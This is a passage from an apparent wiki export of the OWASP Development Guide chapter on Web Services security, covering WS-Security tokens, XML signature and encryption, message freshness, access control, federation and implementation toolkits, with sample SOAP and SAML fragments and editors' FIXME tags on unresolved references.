<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
</dsig:Signature>
</wsse:Security>
</soap:Header>
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>
<xenc:CipherData>
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</soap:Body>
</soap:Envelope>

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">
MIICtzCCAi...
</wsse:BinarySecurityToken>

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

'' <wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">''

'' 1106844369755''

'' </wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:54:06Z

KirstenS: /* Security header’s structure */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

